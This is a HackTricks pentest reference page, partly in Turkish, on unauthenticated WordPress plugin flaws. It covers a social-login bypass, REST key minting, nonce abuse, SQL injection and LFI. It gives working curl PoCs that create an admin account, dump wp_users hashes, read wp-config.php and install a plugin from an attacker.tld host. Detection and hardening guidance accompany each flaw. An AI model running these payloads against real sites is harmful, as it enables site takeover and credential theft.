Birçok tema/eklentide admin-ajax.php üzerinden erişilebilen "social login" yardımcıları bulunur. Eğer bir unauthenticated AJAX action (wp_ajax_nopriv_...) sağlayıcı verisi eksik olduğunda client-supplied identifiers'a güvenip wp_set_auth_cookie() çağırıyorsa, bu tam bir authentication bypass'a dönüşür.

Tipik hatalı desen (basitleştirilmiş)

php
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb':     /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token   */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}

// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');

if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}

$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);

Why it’s exploitable

  • Kimlik doğrulaması olmadan admin-ajax.php üzerinden erişim (wp_ajax_nopriv_… action).
  • Durum değişikliğinden önce nonce/capability kontrolleri yok.
  • OAuth/OpenID sağlayıcı doğrulaması eksik; varsayılan dal saldırgan girdisini kabul ediyor.
  • get_user_by('email', $_POST['id'])'in ardından wp_set_auth_cookie($uid) çağrısı, isteği yapanı mevcut herhangi bir e-posta adresi olarak doğrular.

Exploitation (unauthenticated)

  • Prerequisites: saldırgan /wp-admin/admin-ajax.php'ye erişebilmeli ve geçerli bir kullanıcı e-postasını bilmeli/tahmin edebilmeli.
  • Set provider to an unsupported value (or omit it) to hit the default branch and pass id=<victim_email>.
http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded

action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
bash
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"

Expected success indicators

  • HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
  • Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.

Finding the action name

  • Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
  • Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.

Detection checklist

  • Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=.
  • 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.

Hardening

  • Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID.
  • Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary.
  • Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id).
  • Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed.

Patched behaviour (Jobmonster 4.8.0)

  • Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).

Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)

Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).

  • Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
  • Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
  • Impact: full takeover by chaining the minted key to internal privileged actions

PoC – mint a connection key and use it

bash
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}

# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'

Neden istismar edilebilir

  • Duyarlı REST rota yalnızca düşük-entropili kimlik kanıtı (username) ile korunuyor veya permission_callback eksik
  • Yetki denetimi yok; oluşturulan anahtar evrensel bir baypas olarak kabul ediliyor

Tespit kontrol listesi

  • Plugin kodunda register_rest_route(..., [ 'permission_callback' => '__return_true' ]) için grep yapın
  • İstekle sağlanan kimliğe (username/email) dayalı token/anahtar veren ve bunu doğrulanmış bir kullanıcıya veya yetkiye bağlamayan herhangi bir rota
  • Oluşturulan token/anahtarı sunucu tarafı yetki kontrolleri olmadan kabul eden sonraki rotaları arayın

Sertleştirme

  • Her ayrıcalıklı REST rotası için: gerekli yetkiyi current_user_can() ile denetleyen bir permission_callback zorunlu kılın
  • İstemci tarafından sağlanan kimlikten uzun ömürlü anahtar oluşturmayın; gerekirse, kimlik doğrulamadan sonra kısa ömürlü, kullanıcı-bağlı tokenlar verin ve kullanımda yetkileri yeniden kontrol edin
  • Çağıranın kullanıcı bağlamını doğrulayın (wp_set_current_user tek başına yeterli değildir) ve !is_user_logged_in() || !current_user_can() olan istekleri reddedin

Nonce kapısı kötüye kullanımı → kimliği doğrulanmamış rastgele plugin kurulumu (FunnelKit Automations ≤ 3.5.3)

Nonces CSRF'i engeller, yetkilendirmeyi değil. Eğer kod bir nonce geçişini yeşil ışık olarak değerlendirip ayrıcalıklı işlemler için yetki kontrollerini atlıyorsa (ör. install/activate plugins), kimliği doğrulanmamış saldırganlar zayıf bir nonce gereksinimini karşılayıp arka kapılı veya zayıf bir plugin yükleyerek RCE'ye ulaşabilir.

  • Vulnerable path: plugin/install_and_activate
  • Hata: zayıf nonce hash kontrolü; nonce “passes” olduktan sonra current_user_can('install_plugins'|'activate_plugins') yok
  • Etki: rastgele plugin kurulumu/aktivasyonu ile tam kontrol ele geçirilmesi

PoC (şekli plugin'e bağlıdır; yalnızca örnek amaçlı)

bash
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'

Detection checklist

  • REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
  • Any code path that sets $skip_caps = true after nonce validation

Hardening

  • Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
  • Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
  • Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows

Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)

Birden fazla depicter-* action, s (search) parametresini aldı ve bunu parameterization olmadan SQL queries içine doğrudan birleştirdi.

  • Parametre: s (search)
  • Hata: WHERE/LIKE ifadelerinde doğrudan string concatenation; prepared statements/sanitization yok
  • Etki: database exfiltration (users, hashes), lateral movement

PoC

bash
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"

Detection checklist

  • depicter-* action handler'ları için grep yapın ve SQL içinde $_GET['s'] veya $_POST['s']'in doğrudan kullanımını arayın
  • s ile birleştirilen özel sorguları $wpdb->get_results()/query()'e geçirilenleri inceleyin

Hardening

  • Always use $wpdb->prepare() or wpdb placeholders; sunucu tarafında beklenmeyen metakarakterleri reddedin
  • s için sıkı bir allowlist ekleyin ve beklenen charset/uzunluğa normalize edin

Kimlik doğrulamasız Local File Inclusion, doğrulanmamış template/file path aracılığıyla (Kubio AI Page Builder ≤ 2.5.1)

Template parametresinde normalizasyon veya sınırlama olmadan saldırgan kontrollü path'lerin kabul edilmesi, rastgele yerel dosyaların okunmasına izin verir ve includable PHP/log dosyaları runtime'a dahil edilirse bazen kod yürütmeye yol açabilir.

  • Parameter: __kubio-site-edit-iframe-classic-template
  • Flaw: normalizasyon/allowlisting yok; traversal'a izin veriliyor
  • Impact: gizli bilgi ifşası (wp-config.php), belirli ortamlarda potansiyel RCE (log poisoning, includable PHP)

PoC – read wp-config.php

bash
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"

Tespit kontrol listesi

  • İstek yollarını include()/require()/read sinks içine realpath() containment olmadan birleştiren herhangi bir handler
  • Amaçlanan templates dizininin dışına çıkan traversal desenleri (../) arayın

Sertleştirme

  • İzin verilen (allowlisted) templates'i zorunlu kılın; realpath() ile çözün ve str_starts_with(realpath(file), realpath(allowed_base)) gerektirin
  • Girdiyi normalize edin; traversal dizilerini ve mutlak yolları reddedin; sanitize_file_name()'ı yalnızca dosya adları için kullanın (tam yollar için değil)

Kaynaklar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin